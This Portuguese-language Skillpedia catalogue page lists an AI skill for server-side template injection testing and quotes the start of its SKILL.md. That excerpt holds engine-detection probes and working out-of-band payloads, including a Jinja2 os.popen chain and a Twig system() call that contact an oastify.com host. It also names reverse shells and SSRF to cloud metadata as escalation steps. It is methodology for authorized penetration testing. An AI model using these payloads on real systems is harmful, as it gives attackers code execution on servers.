Pular para o conteúdo
Skillpedia
Segurança10 mil · #11979

offensive-ssti

O que ela faz

Esta skill é uma metodologia para encontrar injeção de template no lado do servidor, em que a entrada do usuário é executada por um motor de templates. Ela cobre os motores mais comuns e como confirmar a falha com segurança. Ela é para profissionais de segurança que testam aplicações web com permissão.

Quando usar

  • ✓Quando um teste autorizado mostra uma entrada do usuário sendo renderizada por um template do servidor.
  • ✓Quando você precisa confirmar se uma injeção de template está no servidor ou no navegador.
  • ✓Quando você quer identificar o motor de templates por trás de um app em um teste aprovado.

Link da skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-ssti/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-ssti/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Temos autorização para testar nosso app web. Verifique se a página de saudação renderiza a entrada do usuário por um motor de templates.”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

A skill mapeia os pontos de entrada, envia sondagens aritméticas seguras e identifica o motor de templates a partir das respostas. Depois confirma a falha com um marcador único e documenta a cadeia de requisição e resposta.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

Server-Side Template Injection (SSTI) -- Offensive Methodology

SSTI exists wherever user-controlled input is concatenated into a server-side template string and the engine evaluates it as code. The engine executes attacker-supplied directives, granting access to the language runtime and, in nearly every engine, remote code execution through the host language's object model. You encounter SSTI in any application passing raw user input to functions like render_template_string(), Template(), or compile().

CWE-1336. MITRE ATT&CK T1190.

Quick Workflow

  1. Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
  2. Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
  3. Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
  4. Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
  5. Escalate to information disclosure: dump config, env vars, secrets, internal paths.
  6. Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
  7. Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
  8. Produce non-destructive PoC with unique marker and capture the full request/response chain.

1. Engine Detection and Fingerprinting

1.1 Polyglot Probes

${{<%[%'"}}%\          Universal polyglot
{{7*7}}                Double-curly arithmetic
{{7*'7'}}              String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %>             ERB / EJS style
#{7*7}                 Pebble / Pug / Thymeleaf contexts
@(7+7)                 Razor (.NET)

Engine-narrowing probes:

{{config}}             Jinja2/Flask config dict
{{_self.env}}          Twig Environment object
{$smarty.version}      Smarty version string
<#assign x=1>          Freemarker (then reference x in dollar-curly)

For Velocity, inject #set( $x = 7 * 7 ) then reference $x. For Thymeleaf/SpEL, inject a dollar-curly expression with T(java.lang.Math).PI. For Mako, inject a dollar-curly expression with self.module.__name__.

1.2 Decision Tree

{{7*7}} --> 49?
  YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
                    --> "49"?      --> Twig
                    --> error?     --> Handlebars
  NO  --> dollar-curly with 7*7 --> 49?
            YES --> dollar-curly with class ref   --> Velocity
                    dollar-curly with T(Math).PI  --> Thymeleaf
                    <#assign x=1> then ref x      --> Freemarker
                    error contains "mako"         --> Mako
            NO  --> <%= 7*7 %> --> 49?
                      error with "erb"/"Erubi"    --> ERB
                      error with "ejs"            --> EJS
                    @(7+7) --> 14?                --> Razor

1.3 Error Signatures

Signature Engine
jinja2.exceptions.UndefinedError Jinja2
Twig\Error\SyntaxError Twig
freemarker.core.ParseException Freemarker
org.apache.velocity.exception Velocity
com.mitchellbosecke.pebble.error Pebble
SmartyCompilerException Smarty
mako.exceptions.SyntaxException Mako
Parse error with Handlebars context Handlebars
SyntaxError with ERB path ERB
org.thymeleaf.exceptions.TemplateProcessing Thymeleaf
SyntaxError with .ejs path EJS
Pug:Error Pug

1.4 Blind Detection

Time-based: {{range(99999999)|join}} (Jinja2), <%= sleep(5) %> (ERB). For Java engines, inject a dollar-curly with T(java.lang.Thread).sleep(5000).

OOB DNS: Use Burp Collaborator or interactsh. Jinja2: {{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}. Twig: {{['nslookup UNIQUE.oastify.com']|map('system')}}.

Error inference: Compare {{7*7}} vs {{7*'INVALID}} -- different response behavior confirms processing.


2. Jinja2 / Python

Exploitation relies on MRO traversal

Perguntas frequentes

Quais motores de template ela cobre?

Ela cobre motores como Jinja2, Twig, Freemarker, Velocity, Smarty e Thymeleaf, entre outros.

Ela precisa de uma carga nociva?

A skill recomenda uma prova não destrutiva, com um marcador único.

Isso serve só para testes autorizados?

Sim. Ela foi escrita para testes com permissão por escrito.

Detalhes

Descrição original do autor

Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution.

repo: SnailSploit/Claude-Red

Popularidade

Estrelas no GitHub
10 mil
Posição no ranking
#11979
Licença
MIT
Atualizada em
12/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas